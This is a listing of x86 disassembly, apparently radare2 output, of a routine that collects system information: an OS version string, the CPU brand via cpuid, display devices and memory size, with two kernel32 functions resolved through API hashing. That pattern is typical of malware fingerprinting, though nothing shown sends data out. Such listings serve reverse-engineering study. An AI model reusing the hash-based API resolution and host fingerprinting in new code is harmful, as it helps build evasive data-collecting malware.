mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
add esp, 4
mov edi, dword [esi + 0x74]
mov dword [esp], edi
call fcn.0044d400
add esp, 4
mov ebx, dword [esi + 0x70]
mov dword [ebx], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x800
call fcn.004551e7
add esp, 8
mov ecx, dword [esi + 0x1c]
mov dword [ecx], eax
mov eax, edi
mov edi, dword [eax + 8]
mov edx, dword [eax]
mov dword [esi + 0x28], edx
mov edx, dword [eax + 4]
mov ebx, dword [ebx]
mov ebx, dword [ebx*4 + 0x475840]
mov eax, dword [ecx]
sub esp, 0x1c
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], edx
mov ecx, dword [esi + 0x28]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ebx
mov dword [esp], eax
mov dword [esp + 8], str._s___d._d._d_
mov dword [esp + 4], 0x7ff
call fcn.004493c0
add esp, 0x1c
mov eax, dword [0x475988]
mov ecx, dword [esi + 0x78]
mov dword [ecx + 0xb], eax
mov eax, dword [0x475985]
mov dword [ecx + 8], eax
mov eax, dword [0x475981]
mov dword [ecx + 4], eax
mov eax, dword [0x47597d]
mov dword [ecx], eax
mov edi, dword [esi + 4]
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [esi + 0x1c]
mov eax, dword [eax]
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a00
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
add esp, 8
mov al, byte [0x47599d]
mov ecx, dword [esi + 0x20]
mov byte [ecx + 8], al
mov eax, dword [0x475999]
mov dword [ecx + 4], eax
mov eax, dword [0x475995]
mov dword [ecx], eax
sub esp, 0xc
mov edi, dword [esi + 0x7c]
mov dword [esp], edi
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
call fcn.00450730
add esp, 8
mov dword [esp], edi
call fcn.00444200
add esp, 4
mov ebx, dword [esi + 4]
mov eax, dword [ebx]
sub esp, 8
mov ecx, dword [esi + 0x20]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 4
mov dword [esp], edi
call fcn.0042f360
add esp, 4
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
add esp, 8
mov al, byte [0x4759e4]
mov ecx, dword [esi + 0x80]
mov byte [ecx + 0x14], al
mov eax, dword [0x4759e0]
mov dword [ecx + 0x10], eax
mov eax, dword [0x4759dc]
mov dword [ecx + 0xc], eax
mov eax, dword [0x4759d8]
mov dword [ecx + 8], eax
mov eax, dword [0x4759d4]
mov dword [ecx + 4], eax
mov eax, dword [0x4759d0]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469b50
call fcn.00455a00
add esp, 8
mov eax, dword [esi + 0x18]
mov eax, dword [eax]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
mov dword [esp + 4], 2
mov dword [esp], 0x55
call fcn.004551e7
add esp, 8
mov ebx, dword [esi + 0x88]
mov dword [ebx], eax
mov edi, dword [esi + 0x84]
mov dword [edi], 0x55
sub esp, 8
mov dword [esp + 4], str.kernel32.dll
mov dword [esp], 0x2f9959e0
call fcn.0044cd40
add esp, 8
mov ecx, dword [edi]
mov edx, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], edx
call eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x55
call fcn.004551e7
add esp, 8
mov edi, dword [esi + 0x8c]
mov dword [edi], eax
mov eax, dword [ebx]
mov ecx, dword [edi]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0x55
call fcn.004595a2
add esp, 0xc
mov al, byte [0x4758a1]
mov ecx, dword [esi + 0x90]
mov byte [ecx + 0xc], al
mov eax, dword [0x47589d]
mov dword [ecx + 8], eax
mov eax, dword [0x475899]
mov dword [ecx + 4], eax
mov eax, dword [0x475895]
mov dword [ecx], eax
mov ebx, dword [esi + 4]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [edi]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
add esp, 8
mov eax, dword [0x4758c0]
mov edi, dword [esi + 0x94]
mov dword [edi + 0xc], eax
mov eax, dword [0x4758bc]
mov dword [edi + 8], eax
mov eax, dword [0x4758b8]
mov dword [edi + 4], eax
mov eax, dword [0x4758b4]
mov dword [edi], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x41
call fcn.004551e7
add esp, 8
mov ecx, dword [esi + 0x10]
mov dword [ecx], eax
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [esi + 0x10]
mov eax, dword [eax]
mov ecx, dword [edi + 0xc]
mov dword [eax + 0xc], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, 0x80000003
mov ecx, 0
cpuid
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [esi + 0x10]
mov eax, dword [eax]
mov ecx, dword [edi + 0xc]
mov dword [eax + 0x1c], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 0x18], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 0x14], edx
mov dword [eax + 0x10], ecx
mov eax, 0x80000004
mov ecx, 0
cpuid
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov ebx, dword [esi + 0x10]
mov eax, dword [ebx]
mov ecx, dword [edi + 0xc]
mov dword [eax + 0x2c], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 0x28], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 0x24], edx
mov dword [eax + 0x20], ecx
mov al, byte [0x4758dd]
mov ecx, dword [esi + 0x98]
mov byte [ecx + 0xc], al
mov eax, dword [0x4758d9]
mov dword [ecx + 8], eax
mov eax, dword [0x4758d5]
mov dword [ecx + 4], eax
mov eax, dword [0x4758d1]
mov dword [ecx], eax
mov edi, dword [esi + 4]
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a00
add esp, 8
mov eax, dword [edi]
mov ebx, edi
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
sub esp, 4
mov edi, dword [esi + 0x9c]
mov dword [esp], edi
mov dword [esp + 8], 0x1a8
mov dword [esp + 4], 0
call fcn.00450730
add esp, 0xc
mov dword [edi], 0x1a8
mov eax, dword [esi + 0xa0]
mov dword [eax], 0
mov eax, dword [eax]
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp + 0xc], 0
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
call eax
mov eax, dword [0x475aaa]
mov ecx, dword [esi + 0xa4]
mov dword [ecx + 4], eax
mov eax, dword [0x475aa6]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
add edi, 0x24
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
add esp, 8
mov edi, dword [esi + 0xa8]
mov dword [edi + 4], 0
mov dword [edi], 0
sub esp, 8
mov dword [esp + 4], str.kernel32.dll
mov dword [esp], 0x5f086d32
call fcn.0044cd40
add esp, 4
mov dword [esp], edi
call eax
mov eax, dword [edi]
mov ecx, dword [edi + 4]
shld ecx, eax, 0x16
mov ebx, dword [esi + 0xac]
mov dword [ebx], ecx
sub esp, 8
mov dword [esp], 0xa
mov dword [esp + 4], 1
call fcn.004551e7
add esp, 8
mov ecx, dword [esi + 0x24]
mov dword [ecx], eax
mov eax, dword [ecx]
mov ecx, dword [ebx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xa
call fcn.004546a4
add esp, 0xc
lea eax, [0x475a80]
sub esp, 0xc
mov edi, dword [esi + 0xb0]
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1e
call fcn.0044fc30
add esp, 0xc
mov ebx, dword [esi + 4]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.00455a00
add esp, 8
mov eax, dword [esi + 0x24]
mov eax, dword [eax]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00455a00
add esp, 8
mov eax, dword [0x475a17]
mov ecx, dword [esi + 0xb4]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00455a00
add esp, 8
lea eax, [0x475a40]
sub esp, 0xc
mov edi, dword [esi + 0xb8]
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x16
call fcn.0044fc30
add esp, 0xc
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455be0
add esp, 4
mov ecx, dword [ebx]
mov edx, dword [esi + 0xbc]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.0042f570
add esp, 0x10
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret